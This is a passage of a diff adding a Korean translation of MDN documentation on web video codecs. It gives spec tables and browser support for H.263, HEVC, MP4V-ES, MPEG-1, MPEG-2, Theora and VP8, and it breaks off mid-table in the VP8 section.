+<p>H.263은 H.264로 대체되었으며 가능한한 이전의 미디어 포맷은 사용하지 않아야 합니다. H.263이 최선일 정도로 오래된 장치를 지원해야 하는 프로젝트일 경우에만 H.263을 지원할테죠.</p>
+
+<p>H.263는 Telenor, Fujitsu, Motorola, Samsung, Hitachi, Polycom, Qualcomm 등 수 많은 기관들이 소유하고 있는 <a href="https://www.itu.int/ITU-T/recommendations/related_ps.aspx?id_prod=4242">특허</a>에 기반한 상용 포맷입니다. H.263을 사용하려면 필요한 라이선스를 반드시 취득해야합니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">지원 비트레이트</th>
+   <td>무제한, 단 보통 64kbps 미만</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 레이트</th>
+   <td>자유</td>
+  </tr>
+  <tr>
+   <th scope="row">압축</th>
+   <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 크기</th>
+   <td>최대 1408 x 1152 픽셀<sup><a href="#h263-foot-2">[2]</a></sup></td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컬러 모드</th>
+   <td>YCbCr; 각 픽쳐 포맷 (sub-QCIF, QCIF, CIF, 4CIF, or 16CIF)은 프레임 크기를 픽셀 및 휘도와 색차 샘플의 라인수로 정의하고 있음</td>
+  </tr>
+  <tr>
+   <th scope="row">HDR 지원</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">가변 비트레이트 (VFR) 지원</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">브라우저 호환성</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">기능</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+      <tr>
+       <th scope="row">H.263 support</th>
+       <td>No</td>
+       <td>No</td>
+       <td>No<sup><a href="#h263-foot-1">[1]</a></sup></td>
+       <td>No</td>
+       <td>No</td>
+       <td>No</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">컨테이너 지원</th>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">유지 보수 기관</th>
+   <td><a href="https://www.itu.net/">ITU</a></td>
+  </tr>
+  <tr>
+   <th scope="row">스펙</th>
+   <td><a href="https://www.itu.int/rec/T-REC-H.263/">https://www.itu.int/rec/T-REC-H.263/</a></td>
+  </tr>
+  <tr>
+   <th scope="row">라이선스</th>
+   <td>상용;적절한 라이선스가 필요함. 특허 풀이 여러 곳일 수 있음.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="h263-foot-1" name="h263-foot-1">[1]</a> While Firefox does not generally support H.263, the OpenMax platform implementation (used for the Boot to Gecko project upon which Firefox OS was based) did support H.263 in 3GP files.</p>
+
+<p><a id="h263-foot-2" name="h263-foot-2">[2]</a> Version 1 of H.263 specifies a set of picture sizes which are supported. Later versions may support additional resolutions.</p>
+
+<h3 id="HEVC_H.265"><a id="HEVC" name="HEVC">HEVC</a> (H.265)</h3>
+
+<p><strong><a href="http://hevc.info/">High Efficiency Video Coding</a></strong> (<strong>HVEC</strong>) 코덱은 ITU의 <strong>H.265 </strong>및 MPEG-H Part 2 (MPEG-4 후속 작업으로 개발 진행 중). HEVC는 현대 프로세서의 특정점을 십분 활용하여 소프트웨어가 (8K 비디오를 포함한) 초고해상도 비디오 인코딩/디코딩을 효율적으로 할 수 있도록 설계하였습니다. 이론적으로 HEVC는 {{anch("AVC")}}와 유사한 품질을 유지하면서 절반 크기로 압축할 수 있습니다.</p>
+
+<p>예를들어 각 코딩 트리 유닛(CTU, 이전 세대 코덱의 매크로블록과 유사) 샘플의 휘도 값 트리와 색차 값 트리, 필요한 문법 요소로 구성되어 있습니다. 이는 멀티 코어 환경을 쉽게 활용할 수 있게 합니다.</p>
+
+<p>메인 프로파일이 컴포넌트당 8비트 컬러와 4:2:0 크로마 서브샘플링을 지원하는 점은 흥미로운 부분입니다. 또한 4:4:4 비디오는 특별 취급합니다. 휘도 샘플(이미지 픽셀을 그레이스케일로 표현)과 Cb Cr 샘플(회색을 색상으로 어떻게 변경할지 표시)을 가지는 대신, 세 채널은 3개의 모노크롬 이미지로 취급하며 렌더링시에 풀컬러 이미지를 만들어 내도록 결합합니다.</p>
+
+<p>HEVC는 상용 포맷이며 여러 특허로 보호받고 있습니다. <a href="https://www.mpegla.com/programs/hevc/">MPEG LA</a>하에 라이선스가 관리되고 있으며; 컨텐츠 제작자나 제공자가 아닌 개발자에 청구됩니다. 여러분의 앱/웹사이트에서 HEVC 사용 여부를 결정하기 전에 최신 라이선스와 요구 사항을 점검하는 걸 잊지마세요!</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">지원 비트레이트</th>
+   <td>최대 800,000 Kbps</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 레이트</th>
+   <td>레벨마다 다름; 최대 300 FPS 가능</td>
+  </tr>
+  <tr>
+   <th scope="row">압축</th>
+   <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 크기</th>
+   <td>128 x 96 에서 8,192 x 4,320 픽셀; 프로파일과 레벨마다 다름</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컬러 모드</th>
+   <td>
+    <p>아래 표는 주요 프로파일에 한해서입니다. 여기에 포함하지 않는 프로파일도 있습니다.</p>
+
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="col">프로파일</th>
+       <th scope="col">색 깊이</th>
+       <th scope="col">크로마 서브샘플링</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>Main</td>
+       <td>8</td>
+       <td>4:2:0</td>
+      </tr>
+      <tr>
+       <td>Main 10</td>
+       <td>8 to 10</td>
+       <td>4:2:0</td>
+      </tr>
+      <tr>
+       <td>Main 12</td>
+       <td>8 to 12</td>
+       <td>4:0:0 and 4:2:0</td>
+      </tr>
+      <tr>
+       <td>Main 4:2:2 10</td>
+       <td>8 to 10</td>
+       <td>4:0:0, 4:2:0, and 4:2:2</td>
+      </tr>
+      <tr>
+       <td>Main 4:2:2 12</td>
+       <td>8 to 12</td>
+       <td>4:0:0, 4:2:0, and 4:2:2</td>
+      </tr>
+      <tr>
+       <td>Main 4:4:4</td>
+       <td>8</td>
+       <td>4:0:0, 4:2:0, 4:2:2, and 4:4:4</td>
+      </tr>
+      <tr>
+       <td>Main 4:4:4 10</td>
+       <td>8 to 10</td>
+       <td>4:0:0, 4:2:0, 4:2:2, and 4:4:4</td>
+      </tr>
+      <tr>
+       <td>Main 4:4:4 12</td>
+       <td>8 to 12</td>
+       <td>4:0:0, 4:2:0, 4:2:2, and 4:4:4</td>
+      </tr>
+      <tr>
+       <td>Main 4:4:4 16 Intra</td>
+       <td>8 to 16</td>
+       <td>4:0:0, 4:2:0, 4:2:2, and 4:4:4</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">HDR 지원</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">브라우저 호환성</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">기능</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+      <tr>
+       <th scope="row">HEVC / H.265 support</th>
+       <td>No</td>
+       <td>18<sup><a href="#hevc-foot--1">[1]</a></sup></td>
+       <td>No<sup><a href="#hevc-foot-2">[2]</a></sup></td>
+       <td>11<sup><a href="#hevc-foot--1">[1]</a></sup></td>
+       <td>No</td>
+       <td>11</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컨테이너</th>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">유지/보수 기관</th>
+   <td><a href="https://www.itu.net/">ITU</a> / <a href="https://mpeg.chiariglione.org/">MPEG</a></td>
+  </tr>
+  <tr>
+   <th scope="row">스펙</th>
+   <td><a href="http://www.itu.int/rec/T-REC-H.265">http://www.itu.int/rec/T-REC-H.265</a><br>
+    <a href="https://www.iso.org/standard/69668.html">https://www.iso.org/standard/69668.html</a></td>
+  </tr>
+  <tr>
+   <th scope="row">라이선스</th>
+   <td>상용;<a href="https://www.mpegla.com/programs/hevc/">라이선스 요구사항</a>에서 컴플라이언스 확인 다수의 특허 풀이 적용될 수 있음에 유의</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="hevc-foot--1" name="hevc-foot--1">[1]</a> Internet Explorer and Edge only supports HEVC on devices with a hardware codec.</p>
+
+<p><a id="hevc-foot-2" name="hevc-foot-2">[2]</a> Mozilla will not support HEVC while it is encumbered by patents.</p>
+
+<h3 id="MP4V-ES">MP4V-ES</h3>
+
+<p><strong>MPEG-4 Video Elemental Stream</strong> (<strong>MP4V-ES</strong>) 포맷은 MPEG-4 Part 2 시각 표준 중 하나입니다. 일반적으로 MPEG-4 part 2 비디오는 더 이상 사용하지 않는데 다른 코덱에 비해 특장점이 없어 모바일에서도 쓰임새가 없습니다.  MP4V 는 MPEG-4 컨테이너의 H.263 인코딩과 본질적으로 동일합니다.</p>
+
+<p>원래 목적은 {{Glossary("RTP")}} 세션에서 MPEG-4 오디오 및 비디오 스트림을 사용하기 위해서였습니다. 하지만 <a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>를 통한 모바일 통신에서도 쓰이고 있습니다.</p>
+
+<p>지원하는 주요 브라우저가 없으며 사실상 폐기된 포맷이라 왠만하면 사용할 일이 없을겁니다. 이 컨테이너 파일의 확장자는<code>.mp4v</code>지만 <code>.mp4</code>로 잘못 표기된 경우도 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">지원 비트레이트</th>
+   <td>5 Kbps 에서 1 Gbps 이상</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 레이트</th>
+   <td>명시적 제한 없음; 데이터 전송율에 의해 제한</td>
+  </tr>
+  <tr>
+   <th scope="row">압축</th>
+   <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 크기</th>
+   <td>최대 4,096 x 4,096 픽셀</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컬러 모드</th>
+   <td>YCrCb 크로마 서브샘플링(4:2:0, 4:2:2, and 4:4:4); 컴포넌트당 12bits 색 깊이</td>
+  </tr>
+  <tr>
+   <th scope="row">HDR 지원</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">브라우저 호환성</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">기능</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+      <tr>
+       <th scope="row">MP4V-ES support</th>
+       <td>No<sup><a href="#mp4ves-foot-2">[2]</a></sup></td>
+       <td>No</td>
+       <td>Yes<sup><a href="#mp4ves-foot-1">[1]</a></sup></td>
+       <td>No</td>
+       <td>No</td>
+       <td>No</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컨테이너</th>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">Supporting/Maintaining 유지/보수 기관</th>
+   <td><a href="https://mpeg.chiariglione.org/">MPEG</a></td>
+  </tr>
+  <tr>
+   <th scope="row">스펙</th>
+   <td>{{RFC(6416)}}</td>
+  </tr>
+  <tr>
+   <th scope="row">라이선스</th>
+   <td>상용; <a href="https://www.mpegla.com/">MPEG LA</a> and/or <a href="https://about.att.com/innovation/ip/patents/mpeg-4">AT&amp;T</a>에서 필수 <a href="https://www.mpegla.com/programs/mpeg-4-visual/">라이선스 취득 필</a>요</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="mp4ves-foot-1" name="mp4ves-foot-1">[1]</a> Firefox supports MP4V-ES in <a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a> containers only.</p>
+
+<p><a name="mp4ves-foot-2">[2]</a> Chrome does not support MP4V-ES; however, Chrome OS does.</p>
+
+<h3 id="MPEG-1_Part_2_Video"><a id="MPEG-1" name="MPEG-1">MPEG-1</a> Part 2 Video</h3>
+
+<p><strong>MPEG-1 Part 2 Video</strong>는 1990년대 초에 베일을 벗었습니다. 이후 MPEG 비디오 표준과는 다르게 MPEG-1은 {{Glossary("ITU", "ITU's")}}의 개입 없이 순수히 MPEG가 만들었습니다.</p>
+
+<p>모든 MPEG-2 디코더는 MPEG-1 비디오를 재생할 수 있기 때문에 다양한 소프트웨어와 하드웨어 장치에서 호환 가능합니다. MPEG-1 비디오 특허는 모두 만료되었으며, 라이선스에 대한 걱정에서 자유롭습니다. 하지만 소수의 브라우저만이 플러그인 없이 MPEG-1을 지원하며 플러그인은 deprecated된 경우가 많으므로 일반적으로는 더 이상 사용할 수 없습니다. 때문에 웹사이트/어플리케이션에서 MPEG-1는 좋은 선택이 아닙니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">지원 비트레이트</th>
+   <td>최대 1.5 Mbps</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 레이트</th>
+   <td>23.976 FPS, 24 FPS, 25 FPS, 29.97 FPS, 30 FPS, 50 FPS, 59.94 FPS, 60 FPS</td>
+  </tr>
+  <tr>
+   <th scope="row">압축</th>
+   <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 크기</th>
+   <td>최대 4,095 x 4,095 픽셀</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컬러 모드</th>
+   <td>Y'CbCr 4:2:0 크로마 서브샘플링 with up to 12 bits per component</td>
+  </tr>
+  <tr>
+   <th scope="row">HDR 지원</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">브라우저 호환</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">기능</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+      <tr>
+       <th scope="row">MPEG-1 support</th>
+       <td>No</td>
+       <td>No</td>
+       <td>No</td>
+       <td>No</td>
+       <td>No</td>
+       <td>Yes</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컨테이너</th>
+   <td>MPEG</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">유지/보수 기관</th>
+   <td><a href="https://mpeg.chiariglione.org/">MPEG</a></td>
+  </tr>
+  <tr>
+   <th scope="row">스펙</th>
+   <td><a href="https://www.iso.org/standard/22411.html">https://www.iso.org/standard/22411.html</a></td>
+  </tr>
+  <tr>
+   <th scope="row">라이선스</th>
+   <td>Proprietary; however, all patents have expired, so MPEG-1 may be used freely</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="MPEG-2_Part_2_Video"><a id="MPEG-2" name="MPEG-2">MPEG-2</a> Part 2 Video</h3>
+
+<p><span class="seoSummary"><strong><a href="https://en.wikipedia.org/wiki/H.262/MPEG-2_Part_2">MPEG-2 Part 2</a></strong> {{Glossary("ITU")}}가 설계한 H.262를 참조하여 MPEG-2 스펙에서 정의한 비디오 포맷이며입니다.</span> MPEg-1 비디오와 매우 유사하며 사실 MPEG-2 플레이어는 높은 비트레이트 및 특수 인코딩 옵션 지원을 위한 확장 스펙이 아닌 한 특별한 작업 없이 MPEG-1 비디오를 재생할 수 있습니다.</p>
+
+<p>MPEG-2의 목적은 표준 TV로 압축하는 것이므로 인터레이스 비디오도 지원합니다. 표준 비디오 결과물의 압축 비율과 품질은 DVD 비디오 미디어의 요구사항도 충족하여 메인 비디오 코덱으로 MPEG-2가 선정되기에 충분하였습니다.</p>
+
+<p>MPEG-2는 서로 다른 스펙을 가진 여러 프로파일이 있습니다. 각 프로파일은 4개의 레벨을 가지고 있으며 프레임 레이트, 해상도, 비트레이트등의 비디오 속성 값을 증가시킬 수 있습니다. 대부분의 프로파일은 Y'CbCr 4:2:0 크로마 서브샘플링을 쓰지만 더 상위의 프로파일은 4:2:2를 지원한다든가 말입니다. 추가로 대형 프레임 크기 및 비트레이트 지원을 위한 4개의 레벨이 있습니다. 예를 들어 북미 지역의 {{interwiki("wikipedia", "ATSC standards", "ATSC")}} TV 스펙은 Main Profile at high Level을 통해 1920 x 1080 (30 FPS) 및 1280 x 720 (60 FPS)의 고화질을 최대 80 Mbps 비트레이트로 지원합니다.</p>
+
+<p>그러나 소수의 브라우저만 MPEG-2를 네이티브로 지원하며 플러그인은 대부분 deprecated 되어 더 이상 사용 가능하지 않습니다. 때문에 웹 사이트나 웹앱에서 MPEG-2는 좋은 선택이 아닙니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">지원 비트레이트</th>
+   <td>최대 100 Mbps; 레벨과 프로파일에 따라 다름</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 레이트</th>
+   <td>
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="row">축약어</th>
+       <th scope="col">레벨 이름</th>
+       <th scope="col">지원 프레임 레이트</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <th scope="row">LL</th>
+       <td>Low Level</td>
+       <td>23.9, 24, 25, 29.97, 30</td>
+      </tr>
+      <tr>
+       <th scope="row">ML</th>
+       <td>Main Level</td>
+       <td>23.976, 24, 25, 29.97, 30</td>
+      </tr>
+      <tr>
+       <th scope="row">H-14</th>
+       <td>High 1440</td>
+       <td>23.976, 24, 26, 29.97, 30, 50, 59.94, 60</td>
+      </tr>
+      <tr>
+       <th scope="row">HL</th>
+       <td>High Level</td>
+       <td>23.976, 24, 26, 29.97, 30, 50, 59.94, 60</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">압축</th>
+   <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 크기</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">축약어</th>
+       <th scope="col">레벨 이름</th>
+       <th scope="col">최대 프레임 크기</th>
+      </tr>
+      <tr>
+       <th scope="row">LL</th>
+       <td>Low Level</td>
+       <td>352 x 288 pixels</td>
+      </tr>
+      <tr>
+       <th scope="row">ML</th>
+       <td>Main Level</td>
+       <td>720 x 576 pixels</td>
+      </tr>
+      <tr>
+       <th scope="row">H-14</th>
+       <td>High 1440</td>
+       <td>1440 x 1152 pixels</td>
+      </tr>
+      <tr>
+       <th scope="row">HL</th>
+       <td>High Level</td>
+       <td>1920 x 1152 pixels</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컬러 모드</th>
+   <td>대다수 프로파일에서 Y'CbCr 4:2:0 크로마 서브샘플링; "High", "4:2:2" 프로파일에서 4:2:2 크로마 서브샘플링 지원.</td>
+  </tr>
+  <tr>
+   <th scope="row">HDR 지원</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">가변 프레임 레이트(VFR) 지원</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">브라우저 호환성</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">기능</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+      <tr>
+       <th scope="row">MPEG-2 support</th>
+       <td>No</td>
+       <td>No</td>
+       <td>No</td>
+       <td>No</td>
+       <td>No</td>
+       <td>Yes</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컨테이너</th>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#MPEGMPEG-2">MPEG</a>, MPEG-TS (MPEG Transport Stream), <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">유지/보수 기관</th>
+   <td><a href="https://mpeg.chiariglione.org/">MPEG</a> / <a href="https://www.itu.int/">ITU</a></td>
+  </tr>
+  <tr>
+   <th scope="row">스펙</th>
+   <td><a href="https://www.itu.int/rec/T-REC-H.262">https://www.itu.int/rec/T-REC-H.262</a><br>
+    <a href="https://www.iso.org/standard/61152.html">https://www.iso.org/standard/61152.html</a></td>
+  </tr>
+  <tr>
+   <th scope="row">라이선스</th>
+   <td>상용; 2019년 4월 1일자로 말레이지아와 필리핀을 제외한 모든 지역에서 모든 특허 만료됨, 두 국가 외에서는 자유롭게 사용 가능. <a href="https://www.mpegla.com/programs/mpeg-2/">MPEG LA</a>에 의해 특허 관리</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Theora">Theora</h3>
+
+<p><a href="https://xiph.org/">Xiph.org</a>가 <strong>{{interwiki("wikipedia", "Theora")}}</strong>는 로열티와 라이선스 없이 사용 가능한 오픈소스 자유 비디오 코덱입니다. Theora의 품질과 압축율은 MPEG-4 Part 2 Visual과 AVC에 견줄만하며, 비디오 인코딩 시 반드시 최고를 고수해야 하는 경우가 아니라면 매우 좋은 선택이 될 수 있습니다. 하지만 라이선스-프리로 특허 문제가 없으며 상대적으로 저사양 CPU에서도 충분히 돌아가는 스펙 덕분에 최근 많은 소프트웨어와 웹프로젝트에서 선택하고 있습니다. 현재로써는 Theroa를 위한 하드웨어 디코더가 없기 때문에 저사양 CPU에서도 원할하다는 점은 아주 중요합니다.</p>
+
+<p>Theora는 원래 On2 Technologies의 VC3 코덱을 베이스로 하고 있습니다. VC3 코덱과 사양은 Xiph.org 관리 하에 LGPL 라이선스로 등재되어 있으며 이후 Theora 표준으로 인입하였습니다.</p>
+
+<p>Theora의 단점 중 하나는 오직 8 bit 컬러 모드만을 지원하여 컬러 밴딩을 피하기 위해 10 이상의 컬러 모드를 선택하는 옵션이 없다는 겁니다. 따지자면 현 시점에서 8 bit 컬러가 대부분이기 때문에 큰 문제는 되지 않습니다. 단지 불편할 뿐이죠. 또 Theora는 Ogg 컨테이너에서만 사용할 수 있습니다. 가장 큰 문제는 Safari에서 사용할 수 없다는 것입니다. macOs 뿐만 아니라 수억대의 iPhone과 iPad에서도 사용할 수 없다는 걸 의미합니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">지원 비트레이트</th>
+   <td>최대 2 Gbps</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 레이트</th>
+   <td>임의의 0 이상 값 지원. 유리수 프레임 레이트를 지원하기 위해 32-bit 분자와 분모로 구성되어 있음</td>
+  </tr>
+  <tr>
+   <th scope="row">압축</th>
+   <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT-기반 알고리즘</a></td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 크기</th>
+   <td>최대 1,048,560 x 1,048,560 픽셀 이하 어떠한 가로, 세로 조합이라도 가능</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컬러 모드</th>
+   <td>Y'CbCr 4:2:0, 4:2:2, 4:4:4 크로마 서브샘플링, 8 bit 컬러</td>
+  </tr>
+  <tr>
+   <th scope="row">HDR 지원</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+   <td>예<sup><a href="#theora-foot-1">[1]</a></sup></td>
+  </tr>
+  <tr>
+   <th scope="row">브라우저 호환성</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">기능</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+      <tr>
+       <th scope="row">Theora support</th>
+       <td>3</td>
+       <td>Yes<sup><a href="#theora-foot-2">[2]</a></sup></td>
+       <td>3.5</td>
+       <td>No</td>
+       <td>10.5</td>
+       <td>No</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컨테이너</th>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">유지/보수 기관</th>
+   <td><a href="https://www.xiph.org/">Xiph.org</a></td>
+  </tr>
+  <tr>
+   <th scope="row">스펙</th>
+   <td><a href="https://www.theora.org/doc/">https://www.theora.org/doc/</a></td>
+  </tr>
+  <tr>
+   <th scope="row">라이선스</th>
+   <td>오픈 프리-로열티</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="theora-foot-1" name="theora-foot-1">[1]</a> While Theora doesn't support Variable Frame Rate (VFR) within a single stream, multiple streams can be chained together within a single file, and each of those can have its own frame rate, thus allowing what is essentially VFR. However, this is impractical if the frame rate needs to change frequently.</p>
+
+<p><a name="theora-foot-2">[2]</a> Edge supports Theora with the optional <a href="https://www.microsoft.com/en-us/p/web-media-extensions/9n5tdp8vcmhs?activetab=pivot:overviewtab">Web Media Extensions</a> add-on.</p>
+
+<h3 id="VP8">VP8</h3>
+
+<p><strong>Video Processor 8</strong> (<strong>VP8</strong>) 코덱은 최초 On2 Technologies가 개발했습니다. Google은 On2 인수 후, VP8 관련된 특허와 무관하게 완전한 오픈 로열티-프리 라이선스로 출시했습니다. 압축률과 품질의 면에서 VP8은 {{anch("AVC")}}에 견줄만 합니다.</p>
+
+<p>브라우저가 지원한다면 V8에서 알파 채널을 쓸 수 있으며 비디오 뒤의 백그라운드 이미지를 알파 채널 픽셀과 겹쳐 볼 수도 있습니다.</p>
+
+<p>HTML 콘텐츠로써 특히 <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a> 파일에 포함된 VP8을 지원하는 좋은 브라우저가 많습니다. 이는 VP8이 여러분의 콘텐츠로 좋은 선택이 될 수 있으며 가능하다면 더 좋은 VP9를 선택할 수도 있습니다. 웹브라우저는 WebRTC를 위해 VP8을 <em>반드시</em> 지원해야 합니다. 하지만 HTML Audio video 엘리먼츠에는 꼭 VP8을 지원할 필요는 없습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">지원 비트레이트</th>
+   <td>level별 제한이 없는 한 무제한 임의의 값</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 레이트</th>
+   <td>임의 값</td>
+  </tr>
+  <tr>
+   <th scope="row">압축</th>
+   <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT-기반 일고리즘</a></td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 크기</th>
+   <td>최대 16,384 x 16,384 픽셀</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컬러 모드</th>
+   <td>Y'CbCr 4:2:0 크로마 서브샘플링, 8 bit 색 깊이</td>
+  </tr>
+  <tr>
